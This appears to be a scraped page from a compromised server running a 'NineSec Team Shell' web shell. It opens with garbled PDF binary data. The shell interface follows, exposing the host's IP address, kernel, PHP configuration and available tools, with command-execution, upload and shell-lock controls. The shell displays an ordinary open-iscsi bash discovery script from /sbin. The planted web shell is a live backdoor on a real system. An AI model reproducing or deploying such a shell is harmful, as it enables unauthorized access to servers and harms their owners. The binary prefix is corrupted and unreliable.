%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 118.98.227.230  /  Your IP : 216.73.216.168
Web Server : nginx/1.18.0
System : Linux p3gtk 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //sbin/iscsi_discovery
#!/bin/bash
#
# Copyright (C) Voltaire Ltd. 2006.  ALL RIGHTS RESERVED.
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 59 Temple
# Place, Suite 330, Boston, MA 02111-1307 USA
#
# Author: Dan Bar Dov <danb@voltaire.com>

# iscsi_discovery:
#    * does a send-targets discovery to the given IP
#    * set the transport type to the preferred transport (or tcp is -t flag is not used)
#    * tries to login
#    * if succeeds,
#          o logout,
#          o mark record autmatic (unless -m flag is used)
#    * else
#          o reset transport type to TCP
#          o try to login
#          o if succeeded
#                + logout
#                + mark record automatic (unless -m flag is used)
#

usage()
{
	echo "Usage: $0 <IP> [-p <port>] [-d] [-t <tcp|iser> [-f]] [-m] [-l]"
	echo "Options:"
	echo  "-p		set the port number (defualt is 3260)."
	echo  "-d		print debugging information"
	echo  "-t		set transport (default is tcp)."
	echo  "-f		force specific transport -disable the fallback to tcp (default is fallback enabled)."
	echo  "			force the transport specified by the argument of the -t flag."
	echo  "-m		manual startup - will set manual startup (default is automatic startup)."
	echo  "-l		login to the new discovered nodes (defualt is false)."
}

dbg()
{
	$debug && echo $@
}

initialize()
{
	trap "exit" 2
	debug=false
	force="0"
	log_out="1"
	startup_manual="0"
	#set defualt transport to tcp
	transport=tcp
	#set defualt port to 3260
	port=3260;
}

parse_cmdline()
{
	if [ $# -lt 1 ]; then
		usage
		exit 1
	fi

	# check if the IP address is valid
	ip=`echo $1 | awk -F'.' '$1 != "" && $1 <=255 && $2 != "" && $2 <= 255 && $3 != "" && $3 <= 255 && $4 != "" && $4 <= 255 {print $0}'`
	if [ -z "$ip" ]; then
		echo "$1 is not a vaild IP address!"
		exit 1
	fi
	shift
	while getopts "dfmlt:p:" options; do
	 case $options in
		d ) debug=true;;
		f ) force="1";;
		t ) transport=$OPTARG;;
		p ) port=$OPTARG;;
		m ) startup_manual="1";;
		l ) log_out=0;;
		\? ) usage
			exit 1;;
		* )  usage
			exit 1;;
	 esac
	done
}

discover()
{
	# If open-iscsi is already logged in to the portal, exit
	if [ $(iscsiadm -m session | grep -c ${ip}:${port}) -ne 0 ]; then
		echo "Please logout from all targets on ${ip}:${port} before trying to run discovery on that portal"
		exit 2
	fi

	connected=0
	discovered=0

	dbg "starting discovery to $ip"
	disc="$(iscsiadm -m discovery --type sendtargets --portal ${ip}:${port})"
	echo "${disc}" | while read portal target
	do
		portal=${portal%,*}
		select_transport
	done

	discovered=$(echo "${disc}" | wc -l)
	if [ ${discovered} = 0 ]; then
		echo "failed to discover targets at ${ip}"
		exit 2
	else
		echo "discovered ${discovered} targets at ${ip}"
	fi
}

try_login()
{
	if [ "$startup_manual" != "1" ]; then
		iscsiadm -m node --targetname ${target} --portal ${portal} --op update -n node.conn[0].startup -v automatic
	fi
	iscsiadm -m node --targetname ${target} --portal ${portal} --login >/dev/null 2>&1
	ret=$?
	if [ ${ret} = 0 ]; then
		echo "Set target ${target} to automatic login over ${transport} to portal ${portal}"
		((connected++))
		if [ "$log_out" = "1" ]; then
			iscsiadm -m node --targetname ${target} --portal ${portal} --logout
		fi
	else
		echo "Cannot login over ${transport} to portal ${portal}"
		iscsiadm -m node --targetname ${target} --portal ${portal} --op update -n node.conn[0].startup -v manual
	fi
	return ${ret}
}

set_transport()
{
	transport=$1
	case "$transport" in
	iser)
		# iSER does not use digest
		iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n node.conn[0].iscsi.HeaderDigest -v None
		iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n node.conn[0].iscsi.DataDigest -v None
		;;
	cxgb3i)
		# cxgb3i supports <= 16K packet (BHS + AHS + pdu payload + digests)
		iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n node.conn[0].iscsi.MaxRecvDataSegmentLength \
			-v 8192
		;;
	esac
	transport_name=`iscsiadm  -m node -p ${portal} -T ${target} |awk '/transport_name/ {print $1}'`
	iscsiadm -m node --targetname ${target} --portal ${portal} \
			--op update -n ${transport_name} -v ${transport}
}

select_transport()
{
	set_transport $transport
	dbg "Testing $transport-login to target ${target} portal ${portal}"
	try_login;
	if [ $? != 0 -a  "$force" = "0" ]; then
		set_transport tcp
		dbg "starting to test tcp-login to target ${target} portal ${portal}"
		try_login;
	fi
}

check_iscsid()
{
	#check if iscsid is running
	pidof iscsid &>/dev/null
	ret=$?
	if [ $ret -ne 0 ]; then
		echo "iscsid is not running"
		echo "Exiting..."
		exit 1
	fi
}

check_iscsid
initialize
parse_cmdline "$@"
discover

NineSec Team - 2022